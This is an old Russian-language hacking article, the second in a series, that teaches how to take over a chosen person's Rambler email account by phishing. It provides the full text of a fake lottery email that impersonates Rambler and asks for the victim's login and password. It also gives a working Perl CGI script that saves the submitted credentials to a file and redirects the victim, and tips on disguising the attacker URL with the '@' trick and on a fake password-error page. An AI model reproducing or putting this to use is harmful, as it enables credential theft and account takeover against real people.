Взлом e-mail#2 Продолжая, начатую в прошлой статье (взлом email#1), тему взломов почтовых ящиков я расскажу вам о способе который позволяет заполучить определенный ящик (в отличии от прошлой статьи где рассказывалось о способе при котором нельзя было определенно знать пароль от какого ящика ты получишь). Естественно использовать будем снова социальную инженерию. Итак есть ящик который мы хотим взломать. Есть его хозяин. 8) Хех..бывший.. Для осуществления всего что будет описано далее необходимо чтобы выполнялись несколько условий: 1.Хозяин должен быть падок до халявки (ну это почти все такие) 2.Он должен просматривать почту в веб-интерфейсе (таких большинство) Значит допустим он имеет ящик lamer@rambler.ru. Мы лезем на рамблер, нагло сохраняем главную страницу и начинаем ваять письмо. Необходимо сделать чтобы письмо было более-менее было похоже на письма приходящие от почтового сервиса рамблера или просто сделать похожим на главную страницу сервиса. Ну примерно вот так (в тексте я не могу показать дизайн так что включайте воображение): Здравствуйте уважаемый пользователь бесплатной почты Рамблер.ру Компания Рамблер совместно с МТУ-Интел проводит среди своих пользователей бесплатную электронную лотерею с ценными призами. Для участия в лотерее вам необходимо зарегистрироваться, используя форму. Первый приз лотереи: месяц бесплатного неограниченного доступа в интернет от компании МТУ-Интел. Второй приз: 50 часов доступа. Третий приз: 20 часов. Ну и так далее..... сами придумаете если надо будет 8))) //форма для ввода данных Бесплатная почта Имя* [ поле для ввода логина ] Пароль* [ поле для ввода пароля ] //форма для ввода данных * именем и паролем для участия в лотерее являются ваш логин и пароль для почтового ящика на рамблер.ру Copyright © 1996-2002 ОАО "Рамблер Интернет Холдинг" Теперь самое интересное. Надо получить введенные пользователем данные. Делаем форму для имени и пароля:
Вставляем форму в письмо. Регистрируем сайт. Начинаем писать скрипт для получения данных от формы: &GetFormInput; #вызов подпрограммы $name=$field{'name'}; $pass=$field{'pass'}; open (OUTFILE, ">>pass.txt") #открываем файл pass.txt (не забудьте создать) print OUTFILE "$name"; #записываем туда данные print OUTFILE "\n$pass"; close (OUTFILE); # акрываем файло print "Location: http://www.rambler.ru\n" ; #отсылаем юзера (например обратно на рамблер) sub GetFormInput { #типа начало подпрограммы получения данных от формы (*fval) = @_ if @_ ; local ($buf); if ($ENV{'REQUEST_METHOD'} eq 'POST') { read(STDIN,$buf,$ENV{'CONTENT_LENGTH'}); } else { $buf=$ENV{'QUERY_STRING'}; } if ($buf eq "") { return 0 ; } else { @fval=split(/&/,$buf); foreach $i (0 .. $#fval){ ($name,$val)=split (/=/,$fval[$i],2); $val=~tr/+/ /; $val=~ s/%(..)/pack("c",hex($1))/ge; $name=~tr/+/ /; $name=~ s/%(..)/pack("c",hex($1))/ge; if (!defined($field{$name})) { $field{$name}=$val; } else { $field{$name} .= ",$val"; } } } return 1; } Усё готово. Теперь осталось только залить скрипт на сервер. Послать юзеру письмо (с адреса lottery@rambler.ru или lottery2002@rambler.ru) и ждать. Несколько советов на последок: - желательно закодировать урл используя ASCII таблицу либо набить мусором: http://lotereia.rambler.super.with.mtu-net.servis@www.hacker.by.ru - получается так, что все, что стоит между http:// и @, не принимается во внимание браузером. - можно сделать немного подругому: сделать страничку как страничка ошибки (ну видели небось когда в пароле ошибались) а в письме сделать скрипт который при открытии письма отправит пользователя на вашу фейковую страницу об ошибке. Пользователь подумает что ошибся при вводе пароля и повторит его ввод. Ну а дельнейшее также как и в первом случае - скрипт и редирект обратно. Редиректы в этом случае придется делать с помощью ява-скриптов. Каких? Найдете сами. Ну вот и всё. Автор: 1dt.w0lf --------------------------------------- RusH security team - http://rst.void.ru